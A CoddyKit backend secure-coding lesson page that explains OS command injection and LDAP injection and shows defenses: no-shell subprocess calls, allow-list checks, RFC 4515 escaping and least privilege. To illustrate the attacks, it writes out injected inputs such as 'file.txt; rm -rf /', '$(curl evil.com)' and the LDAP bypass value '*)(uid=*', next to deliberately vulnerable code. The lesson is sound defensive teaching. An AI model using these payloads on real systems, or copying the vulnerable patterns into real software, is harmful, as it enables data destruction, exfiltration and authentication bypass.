Secure Coding & OWASP Top 10 for Backend · 课时

防止命令注入与 LDAP 注入

学习 OS 命令注入和 LDAP 注入的工作原理，以及如何使用安全接口、允许列表和正确编码来防御它们。

防止命令注入与 LDAP 注入 是 CoddyKit 上的免费 Secure Coding & OWASP Top 10 for Backend 课时。这是第 4 节课，共 4 节。你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。这是 Secure Coding & OWASP Top 10 for Backend 学习路径的一部分，你的进度在网页和 CoddyKit 应用中同步。 Secure Coding & OWASP Top 10 for Backend 课程共包含 4 节课。

本课时的部分内容尚未翻译，以英文显示。

Beyond SQL Injection

Injection is not limited to SQL. Any time untrusted input is mixed into a command interpreter, you risk injection. Two dangerous cousins are OS command injection and LDAP injection.

This lesson shows how both work and how to stop them.

How Command Injection Works

Command injection happens when user input is passed to a shell. Shell metacharacters like ;, &&, and | let an attacker append their own commands.

Input file.txt; rm -rf / can delete data
Input $(curl evil.com) can exfiltrate or download

The Vulnerable Pattern

The danger is invoking a shell with a concatenated string. Here the user controls part of the command line.

import os

def ping(host):
    # DANGEROUS: host is interpolated into a shell command
    os.system('ping -c 1 ' + host)

# ping('8.8.8.8; rm -rf /tmp/data') runs two commands

Use Safe APIs

The fix is to avoid the shell entirely. Pass arguments as a list to an exec-style API so the OS treats input as a single argument, never as syntax.

import subprocess

def ping(host):
    # SAFE: no shell, host is a single argument
    subprocess.run(['ping', '-c', '1', host], shell=False, check=True)

Validate with Allow-Lists

When input feeds a command, restrict it to a known-good pattern. An allow-list rejects anything outside an expected set instead of trying to block bad characters.

import re

def is_valid_host(host):
    pattern = r'^[a-zA-Z0-9.-]{1,253}$'
    return re.match(pattern, host) is not None

print(is_valid_host('example.com'))
print(is_valid_host('8.8.8.8; rm -rf /'))

Avoid Shell Features

Never enable shell=True, eval, or string-based command builders with untrusted data. If you must use a shell, escape arguments with the platform quoting function, but prefer the no-shell approach.

What Is LDAP Injection?

LDAP injection targets directory queries used in authentication and lookups. Special characters like *, (, ), and \ alter the filter logic.

An input of * in a username field can match every entry, bypassing access checks.

Vulnerable LDAP Filter

Building filters by string concatenation lets attackers rewrite the query.

def build_filter(username):
    # DANGEROUS: username can contain LDAP metacharacters
    return '(&(uid=' + username + ')(active=TRUE))'

# build_filter('*)(uid=*') opens the filter to all users

Escaping LDAP Input

Escape special characters before inserting them into a filter, per RFC 4515. Most LDAP libraries provide an escape helper, use it for every dynamic value.

def escape_ldap(value):
    replacements = {'\\': '\\5c', '*': '\\2a', '(': '\\28', ')': '\\29', '\x00': '\\00'}
    out = ''
    for ch in value:
        out += replacements.get(ch, ch)
    return out

print(escape_ldap('*)(uid=*'))

Defense in Depth

Combine safe APIs, allow-list validation, and least privilege. Run processes under low-privilege accounts so even a successful injection cannot do much.

No shell where possible
Validate every input
Drop privileges before executing

Testing for Injection

Probe inputs with metacharacters during testing: semicolons and pipes for command fields, asterisks and parentheses for LDAP fields. Automated DAST tools and code review both help catch these flaws early.

Quick Check

Test your understanding of injection defenses.

Recap

You learned how command injection and LDAP injection work and how to stop them: avoid the shell with safe exec APIs, use allow-list validation, escape LDAP special characters, and apply least privilege. Treat every interpreter boundary as a place where injection can occur.

常见问题解答

「防止命令注入与 LDAP 注入」课时是免费的吗？

是的 — 「防止命令注入与 LDAP 注入」的完整文本可在网页上免费阅读。要进行交互式练习（内置代码编辑器和全天候 AI 导师）并解锁 Secure Coding & OWASP Top 10 for Backend 课程的其余内容，请升级到 CoddyKit PRO。 Secure Coding & OWASP Top 10 for Backend 课程共包含 4 节课。

「防止命令注入与 LDAP 注入」这节课中我会学到什么？

学习 OS 命令注入和 LDAP 注入的工作原理，以及如何使用安全接口、允许列表和正确编码来防御它们。你通过在浏览器中直接运行的动手代码来练习 Secure Coding & OWASP Top 10 for Backend，全天候 AI 导师会在你学习这节课的过程中回答你的问题。

学习 Secure Coding & OWASP Top 10 for Backend 需要有经验吗？

无需任何先前经验。CoddyKit 上的 Secure Coding & OWASP Top 10 for Backend 课程适合初学者到高级学习者，你可以从这里开始或从头开始，按照自己的节奏学习。这是第 4 节课，共 4 节。

「防止命令注入与 LDAP 注入」课时需要多长时间？

大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动，所以你能稳步进步，并在网页和应用中从离开的地方继续。

我能在这节 Secure Coding & OWASP Top 10 for Backend 课中编写并运行代码吗？

能。每节 Secure Coding & OWASP Top 10 for Backend 课都包含内置代码编辑器，你可以在浏览器中直接编写并运行真实代码，并获得即时 AI 反馈 — 无需本地设置。

此课程中的所有课时

← 返回 Secure Coding & OWASP Top 10 for Backend